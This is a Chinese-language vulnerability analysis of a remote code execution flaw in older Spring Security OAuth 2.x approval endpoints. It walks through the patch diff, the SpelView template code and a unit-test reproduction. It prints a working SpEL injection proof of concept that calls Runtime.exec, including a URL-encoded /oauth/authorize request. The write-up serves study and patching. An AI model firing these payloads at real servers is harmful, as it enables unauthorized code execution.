严重
在Spring Security OAuth 2.x老的版本中,恶意用户可以向授权服务器发起授权请求,当转发至授权审批终端 (Approval Endpoint) 时,会导致远程代码执行漏洞的攻击。
攻击发生需要满足的条件:
@EnableAuthorizationServer 注解) SpelExpressionParser 等对输出内容进行SPEL表达式解析 通过对漏洞描述的理解,我们可以猜测漏洞触发点应该在Approval Endpoint附近。
对比 修复前后两个版本 :
分析其中的提交信息和有变更的文件名,可以很快定位到漏洞相关信息的 Commit 。
修改代码比较多,就不贴图了。核心的修改内容是在 WhitelabelApprovalEndpoint 中使用直接生成HTML字符串 (调用了 HtmlUtils.htmlEscape() 对用户可控的输出值进行URL编码) 代替了原来使用 SpelView 解析模板的方式,并且彻底删除了 SpelView 。
“Endpoint”、“SpelView”这些关键字,有没有让你想起Spring Security OAuth以前的一个RCE?没错,就是 CVE-2016-4977 。不太了解的同学可以去回顾回顾
同时,官方也在修复版本中增加了一个对这个漏洞的测试用例,贴心的把控制点和PoC都告诉我们了。
赶紧搭个环境看看。
结合补丁对比分析得到的结论,我们可以搭建两种环境帮助对漏洞的理解和分析:
本文使用第一种:
在 WhitelabelErrorEndpointTests 的测试集中增加2.2.2.RELEASE新增的测试用例,关键代码如下:
parameters.put("client_id", "client");
HashMap<String, Object> model = new HashMap<String, Object>();
model.put("authorizationRequest", createFromParameters(parameters));
model.put("scopes", Collections.singletonMap("${T(java.lang.Runtime).getRuntime().exec(/"calc/")}", "true"));
ModelAndView result = endpoint.getAccessConfirmation(model, request);
result.getView().render(result.getModel(), request , response);
调用 WhitelabelErrorEndpoint.getAccessConfirmation() ,传入携带 scopes 键值对 (我们的PoC在里面) 的 model 。 createTemplate() 在创建页面模板时,会判断是否存在 scopes ,是则调用 createScopes() 将其值转换为HTML字符串,并替换模板中的 %scopes% 关键字。
在返回 ModelAndView 前,用模板字符串创建了一个 SpelView :
public SpelView(String template){
this.template = template;
this.prefix = new RandomValueStringGenerator().generate() + "{";
this.context.addPropertyAccessor(new MapAccessor());
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name){
Expression expression = parser.parseExpression(name);
Object value = expression.getValue(context);
return value == null ? null : value.toString();
}
};
}
resolver 实现了 PlaceholderResolver.resolvePlaceholder() ,在其中对传入的参数进行SPEL表达式解析。
回到测试用例,调用 SpelView.render() 对传入的 model 进行渲染,渲染什么?其实就是递归查找模板字符串中所有的SPEL表达式,并调用 PlaceholderResolver.resolvePlaceholder() 解析得到它的值。
好的,重点来了。
当解析到我们传入的 T(java.lang.Runtime).getRuntime().exec(/"calc/") 时,计算器自然也就弹出来了。
为什么CVE-2016-4977的补丁对这个漏洞没有效果?
我们先回顾一下CVE-2016-4977的大致细节。
为了修复CVE-2016-4977,Spring Security OAuth在2.0.10.RELEASE及之后版本的 SpelView 中,将模板字符串内所有的 ${} 替换成了 [6位随机字符串]{} (详见CVE-2016-4977补丁) ,并将其作为SPEL表达式标识符,提取其包裹的字符串 (CVE-2016-4977中是 errorSummary ) 进行解析。
当递归解析到内部 ${} 字符串 (即恶意用户传入PoC部分) 时,由于此时用于识别SPEL表达式的标识符已经不是 ${} 了,且6位字符串的随机性也使得用户无法猜测其当前值,所以恶意用户传入的数据无法再被当成SPEL表达式来执行。
也可以这么说,CVE-2016-4977的补丁主要用于防止 SpelView 中任何递归形式的表达式的解析被恶意利用。
而在这个漏洞中,PoC内容被直接拼接进模板字符串中被解析,所以不受6位随机字符串的影响。
Spring官方一气之下,把 SpelView 给删了。
由于每个Scope会被解析成一个包含两个成组的 radio HTML元素,所以在解析之前,模板字符串是长成这样的:
<html>
<body>
<h1>OAuth Approval</h1>
<p>Do you authorize 'xJPRnj{authorizationRequest.clientId}' to access your protected resources?</p>
<formid='confirmationForm'name='confirmationForm'action='xJPRnj{path}/oauth/authorize'method='post'>
<inputname='user_oauth_approval'value='true'type='hidden'/>
<ul>
<li>
<divclass='form-group'>
xJPRnj{T(java.lang.Runtime).getRuntime().exec("calc")}:
<inputtype='radio'name='xJPRnj{T(java.lang.Runtime).getRuntime().exec("calc")}'value='true'checked>Approve</input>
<inputtype='radio'name='xJPRnj{T(java.lang.Runtime).getRuntime().exec("calc")}'value='false'>Deny</input>
</div>
</li>
</ul>
<label><inputname='authorize'value='Authorize'type='submit'/></label>
</form>
</body>
</html>
看到了什么?是的,两个 radio 的 name 属性值也变成了我们的PoC,所以在运行完测试用例之后,会弹出三个计算器。
另外,Scopes是一个集合,因此理论上我们也可以一次传入多个SPEL表达式:
HashMap<String, Object> scopes = new HashMap<String, Object>();
scopes.put("${T(java.lang.Runtime).getRuntime().exec(/"calc/")}", "true");
scopes.put("${T(java.lang.Runtime).getRuntime().exec(/"calc.exe/")}", "false");
model.put("scopes", scopes);
这次是六个计算器。
分析到这里,对于不太了解Spring Security OAuth的同学,会有一个疑问,这个漏洞到底怎么利用?
虽然 WhitelabelApprovalEndpoint.getAccessConfirmation() 配置了 @RequestMapping() 注解,可以直接访问/oauth/confirm_access直接进入该方法,但方法中判断并获取scopes是通过 model.get() 或 request.getAttribute() ,无法通过URL的请求参数对其传参赋值。
简单介绍一下其相关流程。
scope 的值转换为 Set 集合封装进 AuthorizationRequest 中,校验应用配置的Scopes是否为空或所有Scope都有效 因此可以这样请求:
http://domain.com/oauth/authorize?client_id=[id]&response_type=[type]&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc%22%29%7D&redirect_uri=[uri ]
需要注意的是,/oauth/authorize和/oauth/confirm_access默认都有认证保护